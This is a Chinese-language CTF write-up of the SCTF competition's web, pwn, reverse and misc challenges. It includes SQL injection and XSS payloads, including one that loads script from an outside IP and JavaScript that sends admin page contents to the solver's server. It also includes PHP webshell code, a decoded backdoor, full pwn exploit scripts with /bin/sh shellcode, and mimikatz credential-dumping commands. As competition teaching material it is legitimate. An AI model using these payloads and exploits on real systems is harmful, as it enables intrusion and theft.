手持两把锟斤拷,口中疾呼烫烫烫 下联

当前位置: && 知识详情
【全网首发】SCTF 完美通过攻略(Writeup )
来源:360安全播报
阅读:17935次
以下内容供安全爱好者参考学习,WEB篇由Madimo投稿,其余由西安电子科技大学L战队投稿,均获得稿酬300!即将打入作者账户,投稿请发送邮件至 。WEB篇:PT100首先题目提示在后台,顺手测试了一下admin目录,需要 HTTP Basic 认证。hydra爆破无解,便想 Google 一下看看有没有 IIS 的 Auth Bypass。结果还真有 - -||根据的提示,bypass 的 payload 为:/admin:$i30:$INDEX_ALLOCATION/index.php进入之后是一个登陆,username处疑似注入,提交'出现 WTF,提交\'提示密码错误。可见是注入。卡了好久,这里的 username 限制了四个字符,并且后端有截断。常规的 bypass 方法不起作用。之后在 expdb 找到一篇 paper:,这里有四个字符 bypass 的 payload:'=0#,提交后成功拿到 flag。PT200这道题会玩死人的T^T..打开后看了眼源代码,提示说name=xxx,那就是 XSS 题目咯。并且要求最新版的 Chrome 浏览器,要求就要求吧_(:3各种尝试姿势无果,终于发现了 base 标签可以 bypass(12345是我第三方 JS 输出的)。/index.php?name=asaa%3Cbase%20href=?javascript//%20%3E不过提交后竟然没反应…事后才想起来,后台没有引入外链的 JavaScript…之后官方提示有现成的方法可以用,最终用 link 标签搞定,payload 为:/index.php?name=asaa%3Clink%20rel=import%20href=http://103.224.80.59/2.php%20/%3E得到 Cookie 后去后台提示 403,改了 XFF 后就被 fuck 了T^T..之后尝试获取页面源代码,其中我的 2.php 代码如下:由于浏览器的策略,我们需要指定Access-Control-Allow-Origin为*。然后得到的 HTML 代码写入本地的 txt 中。从 index.php 得到 flag.php?id=1,然后经过各种注入,最后的 payload 就是上面的代码。 有一点就是服务器上安装了不是安全狗的安全狗,正好前几天出了新的报错关键字,正好派上用场~最终 flag:PT300题目给了个 modx 的地址:,其中 modx 在 PT400 的 idc 中 download 目录有下载。题目提示是代码审计,看到 PKAV 分分钟搞定心慌啊。idc 上有三个版本,我选择了最新的版本审计,最后发现找错了,是 1.0.8。打开题目中的地址,从 robots.txt 中发现了 /flag/flag.txt,第一反应是文件包含。在 expdb 上搜索 modx 的 LFI 无果,决定自己审计。首先在本地搭建环境,find . -name &*.php& | xargs grep include找到含有 include 的文件。鬼使神差的从 index-ajax.php 开始跟(没想到跟对了)。获取了用户输入的 q 参数,然后进行包含。阅读代码发现需要在 assets/snippets 目录下,再次目录下查找有包含的 php,发现/ajaxSearch/ajaxSearchPopup.php存在包含:如果 POST 了 ucfg,如果开头为@FILE:就包含用户提交的 ucfg。构造 payload:q=assets/snippets/ajaxSearch/ajaxSearchPopup.php&as_version=1.9.2&ucfg=%26config%3D%60@FILE:flag%2fflag.txt%60&search=123POST 到 index-ajax.php 得到 flag。PT400渗透一个 Wordpress 的博客。wpscan 扫了下没有插件主题,官方也说不是爆破口令。在页面尾部发现自豪的采用了 SYC SERVICE,打开后是。发现 page 疑似注入,疑似 XSS。第一天没搞定,第二天官方提示 SQLi -& XSS。这个神脑洞o~o...page 注入通过把空格替换成 %0a 绕过,然后提交 payload:/?page=1%0aunion%0aselect%0a0x3cf2f52fc2f3e获得后台地址: 然后通过注入得到管理员的账号和密码: /?page=-1%0aunion%0aselect%0aconcat(UserPass,UserName,IsAdmin)from%0aadministrators123%0alimit%0a0,1%23管理员的 md5 搜一下得到:rootadministrator123,登陆后跳到 upload.php。这里的上传的图片有一个过滤,当图片包含&?的时候,对,你没有看错,有&?的时候,张全蛋(英文名Michael Jack,法文名Hélodie Jaqueline)就会出现。不过很容易的,PHP 也可以通过&script language=php&phpinfo();&/script&来执行。直接上传一句话,%00 截断之后得到地址,菜刀连接就好,轻车熟路。根目录下发现 Wordpress 的源码,目测这个源码留了后门。下载下来 diff 一下,果然: 数了数这是 6 个字符,那就是assert了,写了个脚本来爆破..这个脚本真是醉了..不过跑出来就行。跑了一堆,随便选一个:Q0C6S1E 然后再写一个脚本中转:&&运行后连接一句话,在数据库里找到 flag: PT500渗透题最爱。在
搜集各种信息。 Email: happy_/SYC083Domain: Domain: report-查找一下社工裤找到密码为:,接着登陆进去。只有一个上传,我还以为能 getshell,后来发现想多了。卡了一会脑洞一开,想起来文件名可以注入。试了试果然,写了个脚本跑出来所有的用户数据。脚本如下:&&用户数据如下:之后又卡住了..不过机会总会来的,想起以前做渗透的时候经常社工公司邮箱,而且这里的人的邮箱也是@的,所以顺手打了个 ,成功访问。经过撞库登陆成功 SYC081 和 SYC042 的账号。 在邮件里得到 VPN 的地址和密码组成。通知:公司VPN地址:默认用户名:工号 (如:SYC001)默认登录密码:工号 + 生日 (如:工号为SYC001,生日为的用户,密码为:SYC)在 SYC081 得到提示小美的生日,爆破了一下出生年份,最后进入 VPN 系统。 &接着利用 VPN 访问内网的,发现域名不能访问,改为 IP 即可。 这题的坑点在于,存在一个 .svn 目录让人遐想联翩,login.php 又让人登陆。不过我试了试都不行,然后爆破了下目录..发现存在 files 目录... 想到了爆破备份文件,没找到,又尝试了下用户名,依然 GG。最后没辙了爆破了下工号,发现是 403。 &嗯,写脚本跑www &import requestsheaders = { & &'Cookie': 'PHPSESSID=cfefaa8e1d0a9c9c55337'}url = '/curl.php'url_2 = 'http://10.24.13.37/files/'data = { & &'option': 'GET', & &'url': '', & &'cookie': '', & &'post': '',}for i in range(0,84): & &data['url'] = '%sSYC0%02d/' % (url_2, i) & &print 'Forbidden' in requests.post(url, headers=headers, data=data).content, i最后在 SYC007 处得到 flag。 最后..打这个 CTF 都快打哭我了,两天没洗澡差点发霉.._(:3& lMisc10苦逼的程序员啊手持两把锟斤拷,口中疾呼烫烫烫 下联是什么呢?Flag: 脚踏千朵屯屯屯,笑看万物锘锘锘&RE 50如图,将输入的字符串每位加3后作比较 &s=“6duFg3rJ”[::-1]for i in s:print chr(ord(i)-3),&脑补一个’k’Flag=SCTF{Go0dCra3k}&lPT100看来是要进入后台拿flag。后台可以很快猜出来,但是有个基础认证。Cy大屌说他好像在哪里看到过iis+php可以绕过基础认证。So我百度了一下,找到了相关的文章。成功绕过验证。Referer:&访问接下来是一个不同寻常的注入点,利用的是false注入,在exploitdb上有相关的文章(PS:貌似是完全一样的代码哦,学习了。)Referer:简单描述表结构/*create database injection_use injection_create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num));&insert into users values(1, 'admin', 'ad1234');insert into users values(2, 'wh1ant', 'wh1234');insert into users values(3, 'secuholic', 'se1234');&*** login.php ****/&mysql&&select&*&from&+-----+-----------+----------+|&num&|&id&&&&&&&&|&password&|+-----+-----------+----------+|&&&1&|&admin&&&&&|&ad1234&&&||&&&2&|&wh1ant&&&&|&wh1234&&&||&&&3&|&secuholic&|&se1234&&&|+-----+-----------+----------+3&rows&in&set&(0.01&sec)&mysql&&select&*&from&users&where&id='';Empty&set&(0.00&sec)&&mysql&&select&*&from&users&where&id=0;+-----+-----------+----------+|&num&|&id&&&&&&&&|&password&|+-----+-----------+----------+|&&&1&|&admin&&&&&|&ad1234&&&||&&&2&|&wh1ant&&&&|&wh1234&&&||&&&3&|&secuholic&|&se1234&&&|+-----+-----------+----------+3&rows&in&set&(0.00&sec)&Id=0时可以列出所有的记录。而注入点的语句是:Select * from users where id=’+input+’ and password=’+input+’;构造输入id=’-0%23&password=123456因为mysql的强制转换特性,该语句被这样理解了。Select * from where id=’’-0# and password=’123456’;à Select * from users where id=(0-0)#àselect * from users where id=0成功拿到flag。Flag: SCTF{Bypass_Auth_aNd_Easy_SQLi}&lMISC 200题目:&下载得到一个压缩包,里面有张图片,丢hex工具查看。发现存在zip压缩包,于是用foremost分离得到以下文件第一天时zip存在解压密码,3.jpg用stegdetect发现jphide隐写,尝试无果,直接到第二天出现新提示。tips:密钥即为文件名于是尝试用mp3stego,sctf解压4.zip发现不成功,猜想其他解法。查阅资料发现zip伪加密。这是一个无密码的zip文件这是本题的zip,可以发现在存在区别,于是尝试把01-&00,再尝试打开,没有提示输入密码成功解压得到mp3stego。用mp3stego工具对文件进行解密。此处密码为sctf(最初jpg的文件名)。得到玩过MC的一看端口便知道这是minecraft开放的端口,下面应该就是flag的坐标。附图: &&lPT200 我们不是来要0DAY的,其实已经有公开的方法来bypass. tips:XSS+MySQL error-based PS:建议参赛人员使用最新版chrome测试有tip就是好,不用绕弯路了。毕竟我们队友CTF专业空气队员@P总,直接给了我一个xss的payload。首页查看源代码可以看到一个输出的测试页面。然后~Payload:&link rel=import href=/test.php&Test.php的代码是&?phpheader(&Access-Control-Allow-Origin:*&);?&&script&alert(1)&/script&马上开始打管理员的cookie。,这是一个留言板。直接输入&link rel=import href=/test.php&找了个xss平台,修改代码,提交,多输入几次打到了cookie。不知道是成信院哪位大牛的电脑呢~拿到了后台地址,挂上cookie,登陆。发现居然403了。猜测是IP限制,又试了一下ip伪造。结果。。好吧。。想到写(zhao)了个js获取管理员页面的内容。Js内容如下://构建xhrrequest包
function&createXHR&()&{
var&request&=&
if&(window.XMLHttpRequest)&{
&&&&request&=&new&XMLHttpRequest();
&&&&if&(request.overrideMimeType)&{
&&&&&&&&request.overrideMimeType('text/xml');
}&else&if&(window.ActiveXObject)&{
&&&&&var&versions&=&['Microsoft.XMLHTTP',&'MSXML.XMLHTTP',&&'Microsoft.XMLHTTP',&'Msxml2.XMLHTTP.7.0',&'Msxml2.XMLHTTP.6.0',&&'Msxml2.XMLHTTP.5.0',&'Msxml2.XMLHTTP.4.0',&'MSXML2.XMLHTTP.3.0',&&'MSXML2.XMLHTTP'];
&&&&for&(var&i&=&0;&i&&&versions.&i++)&{
&&&&&&&&try&{
&&&&&&&&&&&&request&=&new&ActiveXObject(versions);
&&&&&&&&}&catch&(e)&{}
function&get&(xhr,&url)&{
&&&&xhr.open(&GET&,&url,&false);
&&&&xhr.send();
&&&&return&xhr.responseT
var&xhr&=&createXHR();
var&x&=&get(xhr,'/ebcb6eb6ef87cdf5d678c3/');
get(xhr,&http://test/login.php?key=&+escape(x));&其中login.php是用于把传回的代码写入我本地的一个文件中。返回结果如下:根据题目的tip,这应该是一个报错注入。使用了网络上的几个老的报错注入的payload,结果都没成功。(主办方自己写了一个过滤脚本)&一些新型的报错注入payload又出现各种问题(我本机测试可以用的,服务器就不能用;服务器可以用的,我本机不能测试成功,因为主办方服务器mysql版本为5.1,我本机为5.6)最终使用payload如下:/ebcb6eb6ef87cdf5d678c3/flag.php?id=1 &and (select 1 from (select count(*),concat((select thisisflag from flag &limit 0,1),left(rand(),3))x from information_schema.tables group by x) &as yinfu)过程不表,flag在当前库的flag表下thisisflag字段下。修改js,给管理员发留言。得到返回:FLAG:SCTF{x55_And_SqLinject}PS:报错注入payload大全:&&&lPwn200程序需要两次输入,第一次的输入有一字节的溢出,可以修改第二次输入的长度。程序后面有个strlen判断输入长度,用/x00截断即可绕过。经过以一次一字节溢出修改nbytes变量大小,修改后第二次输入出现栈溢出。Exp如下:#coding:utf-8
__author__&=&'Dazdingo'
from&socket&import&*
import&struct
import&time
import&threading
import&sys
is_recv&=&True
sock_host&=&'192.168.206.130'
sock_port&=&8080
S&=&socket(AF_INET,&SOCK_STREAM)
def&send(ss,&tail&=&''):
&&global&S
&&if&tail:
&&&&ss&+=&tail
&&print&ss
&&S.send(ss)
def&outputrecv():
&&global&S
&&while&1:
&&&&if&is_recv:
&&&&&&i&=&&S.recv(1024)
&&&&&&if&i:
&&&&&&&&sys.stdout.write(i)
def&start_recv():
&&#start&recv
&&t&=&threading.Thread(target&=&outputrecv,&&args&=&())
&&t.daemon&=&True
&&t.start()
def&get_shell():
&&#start&recv
&&start_recv()
&&global&S
&&while&1:
&&&&time.sleep(0.1)
&&&&ss&=&raw_input()&+&'\n'
&&&&S.send(ss)
def&main():
&&global&S
&&if&len(sys.argv)&==&3:
&&&&sock_host&=&sys.argv[1]
&&&&sock_port&=&int(sys.argv[2])
&&S.connect((sock_host,&sock_port))
&&a&=&raw_input('pause')
&&print&S.recv(1024)
&&send('syclover\x\xf0')
&&print&S.recv(1024)
&&ebp&=&'\x20\x99\x04\x08'
&&libc&=&'\x5c\x98\x04\x08'&#__libc_start_main
&&retaddr1&=&'\xa0\x83\x04\x08'&#&write
&&retaddr2&=&'\xbe\x85\x04\x08'&#ret
&&pop_ebp_ret&=&'\xc0\x85\x04\x08'
&&retaddr3&=&'\x60\x83\x04\x08'&#&read
&&retaddr4&=&'\xd2\x85\x04\x08'&#leave&ret
&&&send('A'*0x9c&+&ebp&+&retaddr1&+&retaddr2&+&'\x01\x00\x00\x00'&+&libc&+&&'\x04\x00\x00\x00'&+pop_ebp_ret&+&ebp&+&retaddr3&+&retaddr4&+&&'\x00\x00\x00\x00'&+&'\x24\x99\x04\x08'&+&'\xf0\x00\x00\x00'&)
&&time.sleep(1)
&&l&=&S.recv(1024)
&&libcaddr&=&struct.unpack('I',&l)[0]
&&print&'__libc_start_main:',hex(libcaddr)
&&system&=&libcaddr&+&0x26050
&&send(struct.pack('I',&system)&+&'AAAA'+'\x30\x99\x04\x08'&+&'/bin/sh\x00')
&&get_shell()
if&__name__&==&'__main__':
&&main()&lCODE200&题目的意思是:知道一个数,分解为若干(-2)^i的和,i是位数,求i的组合。如eg1:202&8 7 6 4 3 2 1202=(-2)^8+(-2)^7+(-2)^6+(-2)^4+(-2)^3+(-2)^2+(-2)^1=256-128+64+16-8+4-2eg2:515&10 9 2 1 0515=(-2)^10+(-2)^9+(-2)^2+(-2)^1+(-2)^0解法与10进制转2进制类似,不过要注意每位的正负不同代码:from&socket&import&*
HOST='218.2.197.248'
PORT=10007
s&=&socket(AF_INET,&SOCK_STREAM)
s.connect((HOST,PORT))
while&True:
&&&&&&&&&input=int(s.recv(1024),10)
&&&&&&&&&print&input
&&&&&&&&&step=0
&&&&&&&&&ans=''
&&&&&&&&&list=[]
&&&&&&&&&while&input:
&&&&&&&&&&&&&&&&&&&if&step%2==0:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&flag=-1
&&&&&&&&&&&&&&&&&&&else:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&flag=1
&&&&&&&&&&&&&&&&&&&if&input%2==1:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&input=input+flag
&&&&&&&&&&&&&&&&&&&&&&&&&&&&list.append(str(step))
&&&&&&&&&&&&&&&&&&&#else:
&&&&&&&&&&&&&&&&&&&input=input/2
&&&&&&&&&&&&&&&&&&&step=step+1
&&&&&&&&&list.reverse()
&&&&&&&&&for&i&in&list:
&&&&&&&&&&&&&&&&&&ans=ans+'&'+&i
&&&&&&&&&print&ans
&&&&&&&&&s.send(ans)
s.close()&&lMisc300内网攻击数据包分析 FLAG格式: SCTF{syclover用户的明文}&LINK:/misc/b48d97c14a0d586ca14e2f.pcap下载后发现这个包很小,主要关注到smb协议的数据包。按照题目的意思,需要获取到syclover的明文密码,这应该就是一个内网的smb劫持攻击了,查看了smb包里面的challenge值确实也是7788抓到hash是:LMHASH:9e14b1e290fab9c8f9fNTHASH:013f3cb06ba848f98a6ae6cb4ae45cda73b475去下载了个16G的彩虹表。开始halflmchall hash攻击。使用工具rcracki_mt先猜解前几位(不区分大小写)很快破解出结果前七位:NETLMIS接下来继续使用破解出来的字符串做种子破解整个密码,使用到john-ntlm.pl,现将hash保存成如下格式:syclover::ROOT-53DD5427BC:013f3cb06ba848f98a6ae6cb4ae45cda73b475:9e14b1e290fab9c8f9f8执行:./john-netntlm.pl& --seed &NETLMIS& --file /tmp/1.txt得到最终的用户密码为:NetLMis666那么FLAG:SCTF{NetLMis666}本解题方法大量参考看雪某文章,原帖贴出:&pwn300在print message里有个格式化字符串漏洞,同时有个把字符串copy到栈里有利于利用。&Exp如下#coding:utf-8
__author__&=&'Dazdingo'
from&socket&import&*
import&struct
import&time
import&threading
import&sys
is_recv&=&True
sock_host&=&'192.168.206.130'
sock_port&=&8080
S&=&socket(AF_INET,&SOCK_STREAM)
def&send(ss,&tail&=&'',&r&=&False):
&&global&S
&&if&tail:
&&&&ss&+=&tail
&&print&ss
&&S.send(ss)
&&&&print&S.recv(1024)
def&recv_until(str):
&&data&=&S.recv(1024)
&&e&=&data.find(str)
&&while&1:
&&&&if&e&==&-1:
&&&&&&data&=&S.recv(1025)
&&&&&&e&=&data.find(str)
&&&&&&break
&&return&data,&e
def&outputrecv():
&&global&S
&&while&1:
&&&&if&is_recv:
&&&&&&i&=&&S.recv(1024)
&&&&&&if&i:
&&&&&&&&sys.stdout.write(i)
def&start_recv():
&&#start&recv
&&t&=&threading.Thread(target&=&outputrecv,&&args&=&())
&&t.daemon&=&True
&&t.start()
def&get_shell():
&&#start&recv
&&start_recv()
&&global&S
&&while&1:
&&&&time.sleep(0.1)
&&&&ss&=&raw_input()&+&'\n'
&&&&S.send(ss)
def&main():
&&global&S
&&if&len(sys.argv)&==&3:
&&&&sock_host&=&sys.argv[1]
&&&&sock_port&=&int(sys.argv[2])
&&S.connect((sock_host,&sock_port))
&&a&=&raw_input('pause')
&&print&S.recv(1024)
&&send('2\n',&r&=&1)
&&send('%279$x\n',&r&=&1)
&&send('3\n')
&&data,&e&=&recv_until('message&is:')
&&print&data,&e
&&leak_memory&=&int(data[e+11:e+19],&16)
&&send('2\n',&r&=&1)
&&send('%266$x\n',&r&=&1)
&&send('3\n')
&&data,&e&=&recv_until('message&is:')
&&print&data,&e
&&ebp&=&int(data[e+11:e+19],&16)
&&call_system&=&leak_memory&+&0x25E24
&&s&=&hex(call_system)
&&print&'call_system,&ebp&is',&s,&hex(ebp)
&&ret_add1&&=&struct.pack('I',&ebp-0x2c)
&&ret_add2&&=&struct.pack('I',&ebp-0x2a)
&&arg0&=&struct.pack('I',&ebp-0x24)
&&arg1&=&struct.pack('I',&ebp-0x20)
&&num_send1&=&int(s[6:10],&16)
&&num_send2&=&int(s[2:6],&16)&-&num_send1
&&send('2\n',&r&=&1)
&&&send('%16$n%17$n%'+&str(num_send1)&+&'x%18$n%'&+&str(num_send2)&+&&'x%19$n'&+&'\x20'*(12-len(str(num_send1))-len(str(num_send2)))&+&arg0&+&&arg1&+ret_add1&+ret_add2&+&'\n',&r&=&1)
&&send('3\n',&r&=&1)
&&get_shell()
if&__name__&==&'__main__':
&&main()lPT400在blog的左下角发现网站存在注入,联合查询,字段数为1,可以注入获得管理员的密码+----+---------+------------------+----------------------------------+ |&id&|&IsAdmin&|&UserName&&&&&&&&&|&UserPass&&&&&&&&&&&&&&&&&&&&&&&&&| +----+---------+------------------+----------------------------------+ |&1&&|&1&&&&&&&|&administratoroot&|&efd7d360&| |&2&&|&0&&&&&&&|&iamguest&&&&&&&&&|&084eff0c8bb4&| +----+---------+------------------+----------------------------------+在网站首页的左下角发现一个bug report页面通过sql注入来构造一个xss页面+提交给管理员后打到后台地址用之前注入出的用户名登陆上传,经过fuzz测试,无法上传带有“&?”的上传文件于是上传如下脚本,通过&script language=&php&&eval($_POST[a]);&/script&之后在服务器上没有太多发现,只有一份wordpress的源码。下载下来之后和官方进行比对,发现在文件中被加入了后门计算出wp-sesion为下列值中的任意一个,就可以通过assert来执行任意代码。P1B7R0D Q0C6S1E R3@5P2F S2A4Q3G T5F3V4@ U4G2W5A V7D1T6B W6E0U7C通过hatchet来连接后门,在数据库中获得flag&&lMisc400a这是捕获的黑客攻击数据包,LateRain用户的密码在此次攻击中泄露了,你能找到吗? FLAG格式:SCTF{LateRain的明文密码} LINK: &下载了数据包,发现数据量很多。经过剔除,可以发现里面有少量http包。估计pcap包中大量的tcp数据是为了做炮灰的。一个http数据包的内容如下:明眼人一眼看出这应该是个菜刀的数据包,config.php应该是被入侵后的一句话木马。整个pcap中大概就几十条http的数据流,一条一条看下来。发现入侵者用winrar打包了一个文件,然后下载了该文件。用wireshark可以直接提取出该rar文件。而这是一个加密的rar文件,将菜刀post过去的关键数据base64解密一下,发现使用了该命令打包。C:\progra~1\WinRAR\rar a C:\Inetpub\wwwroot\backup\wwwroot.rar C:\Inetpub\wwwroot\backup\1.gif –hpJJBoom密码就是JJBoom解开压缩包得到一个1.gif,使用c32asm打开,根据文件头MDMP,知道这是一个内存的dump文件。载入到神器mimikatz中使用两条命令mimikatz # sekurlsa::minidump 1.dmp//载入dmp文件mimikatz # sekurlsa::logonPasswords full//读取登陆密码密码是&TAB&&SPACE&。但是这不是flag。。因为&TAG&&SPACE&后面还有空格。。要先log,把输出都输出到一个txt里查看。FLAG:SCTF{ &TAB&&SPACE&&&&& }&PS:本题是赛后才做出来的。我们队没有把这道题做出来,我们队以为又是SMB攻击。(另外最坑爹的是比赛时某位屌丝队友都用foremost拿到了rar还不说)&&lRE200题目描述:下载下来是个APK文件。解压,Dex2jar反编译,得到源码,看MainActivity.java分析关键位置,可以看出func函数返回为真,则可toast出Flag。于是分析func函数,先解密各个字符串,基本上都是-1,-2,-3简易加密的。输入的字串,第一次变换是与自己所在的标号异或。第二次变换可能是syc(对应长度为6)和xctf(对应长度为9)两种之一,做了下移位。第三次变换是对大写字母,小写字母,和除此之外其他情况做了处理,得到的字符串的前11位可以通过解方程得到,GoodCracK3R。11位之后的数,经过处理后又和a8ef758比较,相等才返回1,总共15位,那肯定是8位输入,对应15或16位,于是把这8位跑了一下,测试了下结果。和前面的GoodCracK3R结合起来,为&GoodCracK3R;{0jN|B6&,然后倒推第二次变换和第一次变换,就可推出KEYFLAG:xctf{hgJ7Q=|8a\wV;A~}}Wc}&lpwn400node之间通过双向链表连接起来,show node可以回显node在内存中的地址,edite node可以过界修改一个node的content,从而覆盖next node的头部。类似于堆溢出的利用。程序没有nx,可直接执行shellcode。Exp如下#coding:utf-8
from&socket&import&*
import&struct
import&time
import&threading
import&sys
is_recv&=&True
sock_host&=&'192.168.206.130'
sock_port&=&8080
S&=&socket(AF_INET,&SOCK_STREAM)
def&send(ss,&tail&=&'',&recv&=&False):
&&global&S
&&if&tail:
&&&&ss&+=&tail
&&print&ss
&&S.send(ss)
&&if&recv:
&&&&print&S.recv(1024)
def&outputrecv():
&&global&S
&&while&1:
&&&&if&is_recv:
&&&&&&i&=&&S.recv(1024)
&&&&&&if&i:
&&&&&&&&sys.stdout.write(i)
def&start_recv():
&&#start&recv
&&t&=&threading.Thread(target&=&outputrecv,&&args&=&())
&&t.daemon&=&True
&&t.start()
def&get_shell():
&&#start&recv
&&start_recv()
&&global&S
&&while&1:
&&&&time.sleep(0.1)
&&&&ss&=&raw_input()&+&'\n'
&&&&S.send(ss)
def&main():
&&global&S
&&if&len(sys.argv)&==&3:
&&&&sock_host&=&sys.argv[1]
&&&&sock_port&=&int(sys.argv[2])
&&S.connect((sock_host,&sock_port))
&&a&=&raw_input('pause')
&&print&S.recv(1024)
&&#first&node
&&send('1',&recv&=&True)
&&send('111',&recv&=&True)
&&send('111',&recv&=&True)
&&send('111',&recv&=&True)
&&print&S.recv(1024)
&&#second&node
&&send('1',&recv&=&True)
&&send('222',&recv&=&True)
&&send('222',&recv&=&True)
&&send('222',&recv&=&True)
&&print&S.recv(1024)
&&#third&node
&&send('1',&recv&=&True)
&&send('333',&recv&=&True)
&&send('333',&recv&=&True)
&&send('333',&recv&=&True)
&&time.sleep(1)
&&print&S.recv(1024)
&&#record&first&node&pointer
&&send('3',&recv&=&True)
&&send('111')
&&data&=&S.recv(1024)
&&print&data
&&e&=&data.find('location:')
&&while&1:
&&&&if&e&==&-1:
&&&&&&data&=&S.recv(1024)
&&&&&&e&=&data.find('location:')
&&&&&&break
&&print&e,&data[e+9:e+19]
&&p_first_node&=&int(data[e+9:e+19],&16)
&&#record&second&node&pointer
&&send('3',&recv&=&True)
&&send('222')
&&data&=&S.recv(1024)
&&print&data
&&e&=&data.find('location:')
&&while&1:
&&&&if&e&==&-1:
&&&&&&data&=&S.recv(1024)
&&&&&&e&=&data.find('location:')
&&&&&&break
&&p_second_node&=&int(data[e+9:e+19],&16)
&&print&'pointer&of&first,second&node:',&hex(p_first_node),&hex(p_second_node)
&&nops&=&'\x90'*&(p_second_node&-&p_first_node&-&108)
&&jmp&=&'\xeb\x06\x90\x90\x90\x90\x90\x90'
&&#exec&/bin/sh&-&43&bytes
&&buf&=&&&&
&&buf&+=&&\xdd\xc2\xd9\x74\x24\xf4\x5b\x2b\xc9\xba\x39\x29\xde&
&&buf&+=&&\xee\xb1\x0b\x31\x53\x1a\x83\xc3\x04\x03\x53\x16\xe2&
&&buf&+=&&\xcc\x43\xd5\xb6\xb7\xc6\x8f\x2e\xea\x85\xc6\x48\x9c&
&&buf&+=&&\x66\xaa\xfe\x5c\x11\x63\x9d\x35\x8f\xf2\x82\x97\xa7&
&&buf&+=&&\x0d\x45\x17\x38\x21\x27\x7e\x56\x12\xd4\xe8\xa6\x3b&
&&buf&+=&&\x49\x61\x47\x0e\xed&
&&shellcode&=&jmp+buf
&&#edite&first&node
&&send('4',&recv&=&True)
&&send('111',&recv&=&True)
&&send(nops&+&struct.pack('I',&p_second_node)&+&'\x70\xa4\x04\x08'&+&struct.pack('I',&p_second_node&+&0xc)&+&shellcode)&
&&#delete&node
&&send('5',&recv&=&True)
&&send(hex(p_second_node)[2:10],&recv&=&True)
&&get_shell()
if&__name__&==&'__main__':
&&main()&lPT500渗透进三叶草花卉公司,寻找一个名为torrent的文件 公司网址:这个渗透环节出的屌死了~查看源代码,可以看到。查社工库,查到妹纸密码是:结合在新闻页面的提示:于是访问工号SYC083密码成功登陆,有一个文件上传,一开始以为是绕过上传漏洞,结果最后发现文件名处存在注入。没有任何限制,直接用sqlmap跑。根据提示,重点关注数据库中名为刘明的用户。得到其邮箱而小静的邮箱是于是猜测有一个员工邮箱系统。LINK:用户名& 密码 liuming123登陆成功登陆后发现大概有这样几篇邮件比较关键。1.发件人:Information Tech [] 时间:
=================================== 通知: 公司VPN地址: 默认用户名:工号 (如:SYC001) 默认登录密码:工号 + 生日 (如:工号为SYC001,生日为的用户,密码为:SYC)
Information Tech Do not Reply&2.发件人:Information Tech [] 时间:
=================================== 通知: 最近文件共享服务器受到源于内部的暴力破解攻击,现在未确定攻击者 请大家切记把密码改复杂!防止资料泄漏!
Information Tech Do not Reply&3.发件人:Information Tech [] 时间:
=================================== 通知: 我们的VPN系统出现了问题,现在换成了旧版本系统,可能操作不太方便 但是大家先暂时忍受一下,我们会即使处理该问题的,谢谢合作
Information Tech Do not Reply&&首先关注到根据隐藏信息,有个默认登陆密码,于是用burpsuite爆破。最终得到用户名与密码SYC079SYC登陆后发现这就是一个网页版本的curl。根据题意,需要得到一个名为torrent的文件,猜测应该在服务器上。而我本机无法访问,应该就是要用vpn做跳板来攻击。于是尝试居然也无法访问。几经尝试,ping了一下这是一个内网IP。可能vpn这台服务器上没有dns解析服务。于是尝试访问http://10.24.13.37/index.php跳转到了login.php结果又是一个登陆系统,然后我们就一直在尝试爆破密码,各种密码组合,花了几个小时都没有拿下。比赛比赛快结束的时候,cy大屌扫了一下目录,发现居然存在/.svn/这个目录。K牛马上想到了svn泄露漏洞,于是乎~下载之~Svn泄露漏洞的原理是程序员写代码后没有使用svn export,而是直接把版本库中的源码复制到web目录。于是.svn这个隐藏文件夹也被复制过去了。SVN产生的.svn目录下还包含了以.svn-base结尾的源代码文件副本(低版本SVN具体路径为text-base目录,高版本SVN为pristine目录)。并且在最新版本中,副本文件名被hash了,文件格式为:hash前两位/hash.svn-base但是这都可以在wc.db文件中读取到。如图Sys_incude/.htccess的hash是$sha1$43b6ec45bd6ea6da7e3b7c313b2cc4d3279afd07那么其副本文件就放在/.svn/pristine/43/43b6ec45bd6ea6da7e3b7c313b2cc4d3279afd07.svn-base&一开始读了 login.php down.php几个关键文件的源码,发现都没有漏洞。后来发现有个syc_include/.htaccess,很可疑,读取之,代码如下。这是一个后门程序,只要是sys_include目录下任意php文件执行时,都会自动包含images/copper.png.下载之~发现文件尾存在着加过密的php代码。看格式应该是php神盾加密。网上可以解密。LINK: /decode#解密后代码如下:&?php
if&(!function_exists('scandir'))&{
&&function&scandir($cwd)&{
&&&&$files&=&array();
&&&&$dh&=&opendir($cwd);
&&&&while&($file&=&readdir($dh))&{
&&&&&&$files[]&=&$
&&&&return&$files&?&$files&:&0;
if&(isset($_GET['fil3']))&{
&&$filename&=&$_GET['fil3'];
&&if&(is_file($filename)&&&&is_readable($filename))&{@ob_end_clean();
&&&&$fileinfo&=&pathinfo($filename);
&&&&if&(function_exists('mime_content_type'))&{
&&&&&&$type&=&@mime_content_type($filename);
&&&&&&header(&Content-Type:&&.$type);
&&&&}&else&{
&&&&&&header('Content-type:&application/x-'.$fileinfo['extension']);
&&&&header('Content-Disposition:&&filename='.$fileinfo['basename']);
&&&&header('Content-Length:&'.sprintf(&%u&,&@filesize($filename)));@readfile($filename);
&&}&else&{
&&&&$errmsg&=&'Can&not&find&file';
&&&&echo&&&script&alert('$errmsg');window.location='index.php';&/script&&;
elseif(isset($_GET['d1r']))&{
&&$files&=&@scandir($_GET['d1r']);
&&if&($files)&{
&&&&$files&=&array_diff($files,&array('..',&'.'));
&&&&echo&&&pre&&;
&&&&foreach($files&as&$file)&{
&&&&&&echo&$file.
&&&&&&&\r\n&;
&&&&echo&&&/pre&&;
&&header(&Location:&../index.php&);
}?&可以列目录,但是应该是因为权限原因,只能列tmp目录。Tmp目录下有session文件,可以使用这些session,登陆。如图。访问index.php的时候带上cookie。将所有session放入burpsuite跑一遍,发现只有PHPSESSID=ad5fe3ac8a1524cac84085c3时登陆成功。继续审计源码,有一个down.php&?php
session_start();
require_once&'syc_include/func.php';
if&(!isset($_SESSION['login_file'])&||&$_SESSION['login_file']&!==&1)&{
header('Location:&login.php');
if&(isset($_GET['file']))&{
$file&=&$_GET['file'];
$file&=&str_replace('..',&'',&$file);
$file&=&str_replace('/',&'',&$file);
$file&=&str_replace('\\',&'',&$file);
//Win&short&name
$file&=&str_replace('~',&'',&$file);
